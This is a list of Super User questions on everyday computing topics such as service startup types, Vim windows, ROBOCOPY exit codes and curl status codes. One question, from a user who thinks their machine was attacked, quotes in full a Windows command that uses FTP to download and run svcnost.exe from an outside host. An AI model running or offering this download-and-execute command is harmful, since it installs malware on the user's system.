What does "delayed start" do in startup type for a Windows service?
What is the difference between Automatic and Automatic (Delayed Start) for a property setting for a Windows service? i.e. what do I gain or lose by setting my service as one or the other? Running the service on Windows Server 2008 x64
Why does chown report "Operation not permitted" on OS X?
I am trying to do the following on my Mac (10.6.7): but Unix/Mac is returning "Operation not permitted". When I the culprit file, it looks as follows: I've tried and ; nothing works. Any ideas what's up? I'm trying to files I've copied from my old Ubuntu box. Most of the files have successfully 'ed recursively; just this one is stuck and I don't understand why.
How to set character encoding when opening a CSV file in Excel?
Is it possible to set the default encoding for Excel (any version, e.g. 2010) when opening files like csv files (like you can in Open Office Calc)? I When I try to open a csv file encoded in Japanese SHIFT-JIS, it opens but with mojibake (corrupted characters). In Open Office Calc, if you click on a csv file with a non-standard encoding like SHIFT-JIS, it automatically opens a dialog where you can set the encoding.
How does one switch between windows on VIM?
I'm using both Vim and MacVim (or well, trying to). I installed the Tagbar plugin but find it impossible to switch to the actual Tagbar window to make my selection. I've been reading loads about window switching in VIM, found a lot of default keybindings (CMD+`, CTRL+W+↑ or ↓), tried setting my own. NONE worked. I always use VIM for quick file edits and got intrigued by using it as my full-time IDE. After spending a full hour just trying to figure out how to switch a window I'm totally turned off by the idea though. Still, I feel I have to know. How do you switch the window? Am I being totally blind here?
Getting ROBOCOPY to return a "proper" exit code?
Is it possible to ask ROBOCOPY to exit with an exit code that indicates success or failure? I am using ROBOCOPY as part of my TeamCity build configurations, and having to add a step to just silence the exit code from ROBOCOPY seems silly to me. Basically, I have added this: to the script that is being run. However, this of course masks any real problems that ROBOCOPY would return. Basically, I would like to have exit codes of 0 for SUCCESS and non-zero for FAILURE instead of the bit-mask that ROBOCOPY returns now. Or, if I can't have that, is there a simple sequence of batch commands that would translate the bit-mask of ROBOCOPY to a similar value?
How do I use the Selection tool to move things in GIMP?
Using GIMP 2.6.11 My previous image-editing software of choice was Microsoft Paint, which was very intuitive: make a rectangle, click + drag to move the contents of the rectangle around. How do I replicate this functionality in GIMP? I seem to only be able to: a) move the entire layer around, ignoring the selection entirely, or b) move the selection around, without moving anything that's within the selection (which is what I'm trying to do). I have the feeling that I'm missing something extremely basic.
Undo an "rm -rf ~" command?
I had a folder I didn't want named '~', so from the command line I typed and accidentally deleted my home folder (since ~ resolved to /home/username). Is there any way back or do I basically need to recreate the account from scratch?
How to disable the screen orientation hotkeys in Windows (XP)?
I'm using Eclipse in Windows XP. One of my favorite shortcuts is CTRL+ALT+DOWN (or CTRL+ALT+UP) to duplicate a line. I just found that on this machine (XP ThinkPad, with NVIDIA graphics driver), this is has the effect of fliping the screen upside down, which I will rarely use. How can I disable this? Or, if that is difficult, is there a way to give Eclipse hotkeys precedence over any other hotkeys? I'm not sure if this is an OS 'feature' or a background utility, or a function of the graphics driver, but any suggestions that would help me track this down and eliminate it would be appreciated. I've looked through the choices on the NVIDIA control panel, and I don't find any hotkey options.
How does Windows know whether it has internet access or if a Wi-Fi connection requires in-browser authentication?
In Windows 7, the notification area networking icon will show an error indicator if there is no internet access , and the error icon goes away once there is a successful connection to the internet . Sometimes, if the WiFi connection requires an in-browser authentication step, like on many guest networks in hotels or universities, then the following pop-up bubble appears, saying as much: How does Windows know whether or not it has a successful internet connection? Presumably it is checking some online Microsoft service to see whether it has a successful connection, gets redirected to some other page, or doesn't get any response at all, but I haven't seen anywhere that this process or the services used are documented. Can anybody explain how this works? I would prefer answers that refer to facts, rather than just guessing, but if you have a really good guess, then go for it. This question was a Super User Question of the Week. Read the May 16th, 2011 blog entry for more details or submi…
Case Insensitive search from find command?
I am not able to figure out how can I do case-insensitive search using the command. I tried And it does not work.
scp files via intermediate host
I have access to 3 machines, A, B, and C. The only possible (ssh) connections are: I need to get files from A to C, so I could scp the files from A to B, and then scp them from B to C. However, B doesn't have much disk space, so this is not an option. Is there a way to scp files from A to C via B? Note, I don't have root access on any of the machines, so don't think I can set up any persistent tunnels, but correct me if I'm wrong!
How to merge audio and video file in ffmpeg

Play MP3 or WAV file via the Linux command line
I would like to make an alarm system backed by a Ubuntu (no graphical interface) box, which plays various announcement and alarm audio tracks (.mp3 or .wav) via the command line. For example: The audio should come from the PC audio jack. I might also wrap it with another socket listener (for example, Ruby Sinatra). How can I do this?
My keyboard has no "media" keys; can I control media without them?
My USB keyboard does not have "media" keys -- that is, dedicated keys for play, stop, next, prev, volume up/down, etcetera. For the sake of this question, I would prefer not to install additional software if I can avoid it. Is it possible to issue some standard key sequence on a generic USB keyboard that emulates these play, stop, etc. multimedia keys? Like Ctrl+Alt+Shift+F12 or something obscure like that?

I want to clear the cache for a specific domain name in Chrome. Is there an extension or other method that I can use to do this?
How do I escape spaces in command line in Windows without using quotation marks?
For example what is the alternative to this command without quotation marks: The full reason I don't want to use quotation marks is that this command DOES work: but this command DOES NOT work : The problem being when I change mypathname for a path with spaces in it I need to quote the whole thing. For example: But when I try this I get the following error message:
How can I fix/repair a corrupted PDF file?
Does anyone have any recommendation or procedures for repairing a corrupt PDF? When I open the file I get "There was an error opening this document. the file is damaged and cannot be repaired." There seems to be a myriad of tools out there but none that I could describe as reputable. Are there any opensource linux based solutions for this possibly?
How can I determine file type without an extension on Windows?
I sometimes get files from my clients that have the wrong file extension. For example, the name is but the file is actually a TIFF image. In many cases I can clarify it by opening the file in a text editor, looking at the first few bytes, then deducing which file type it is. This works for me with JPEG, TIFF, GIF and PDF files. However there are many more file types out there. Is it possible to automate identification of the correct file type by analyzing the containing data?
How to identify whether my Linux computer was hacked?
My home PC is usually on, but the monitor is off. This evening I came home from work and found what looks like a hack attempt: in my browser, my Gmail was open (that was me), but it was in compose mode with the following in the field: md /c echo open cCTeamFtp.yi.org 21 >> ik &echo user ccteam10 765824 >> ik &echo binary >> ik &echo get svcnost.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &svcnost.exe &exit echo You got owned This looks like Windows command line code to me, and the start of the code combined with the fact that Gmail was in compose mode, makes it evident that someone tried to run a command. I'm guess I was lucky that I don't in fact run Windows on this PC, but I have others that do. This is the first time ever that something like this has happened to me. I'm not a Linux guru, and I wasn't running any other programs apart from Firefox at the time. I'm absolutely sure that I didn't write this, and nobody else was physically at my computer. Also, I have recently cha…
Getting curl to output HTTP status code?
I'm using at the command line on Linux to issue HTTP requests. The response bodies are printed to standard out, which is fine, but I can't see from the man page how to get curl to print the HTTP status code from the response (404, 403 etc). Is this possible?
